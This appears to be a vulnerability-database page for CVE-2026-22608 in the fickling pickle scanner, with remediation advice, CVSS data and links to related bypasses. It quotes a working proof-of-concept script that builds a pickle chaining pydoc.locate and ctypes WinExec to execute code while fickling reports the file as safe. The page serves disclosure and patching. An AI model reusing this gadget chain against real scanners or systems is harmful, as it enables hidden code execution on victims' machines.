CVE-2026-22608 — Vulnerability in fickling — CVE Details
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.70%). Schedule for your next planned update.
Does your project use an affected fickling version?
Paste your requirements.txt to check it for CVE-2026-22608 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Fickling's assessment
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
What fickling sees
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
Advisory Timeline
- First published January 9, 2026 (321 days ago).
- Last revised July 7, 2026 — 179 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "fickling>=0.1.7"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| fickling PyPI · Affected: 0.0.1, 0.0.2, 0.0.3, 0.0.4 (+9 more) | 0.1.7 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-184
- CWE-502Deserialization of Untrusted DataMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
References
- https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-22608ADVISORY
- https://github.com/trailofbits/fickling/pull/195WEB
- https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1WEB
- https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6WEB
- https://github.com/trailofbits/ficklingPACKAGE
- https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145WEB
- https://github.com/trailofbits/fickling/releases/tag/v0.1.7WEB
Frequently Asked Questions
- What is CVE-2026-22608?
- Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2026-22608?
- CVE-2026-22608 affects fickling. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-22608 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 48.4% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-22612CRITICAL
Fickling vulnerable to detection bypass due to "builtins" blindness
- CVE-2026-22607CRITICAL
Fickling Blocklist Bypass: cProfile.run()
- CVE-2026-22609CRITICAL
Fickling has Static Analysis Bypass via Incomplete Dangerous Module Blocklist
- CVE-2026-22606CRITICAL
Fickling has a bypass via runpy.run_path() and runpy.run_module()
- CVE-2026-22612HIGH
Fickling vulnerable to detection bypass due to "builtins" blindness
- CVE-2026-22607HIGH
Fickling Blocklist Bypass: cProfile.run()
- CVE-2026-22609HIGH
Fickling has Static Analysis Bypass via Incomplete Dangerous Module Blocklist
- CVE-2026-22606HIGH
Fickling has a bypass via runpy.run_path() and runpy.run_module()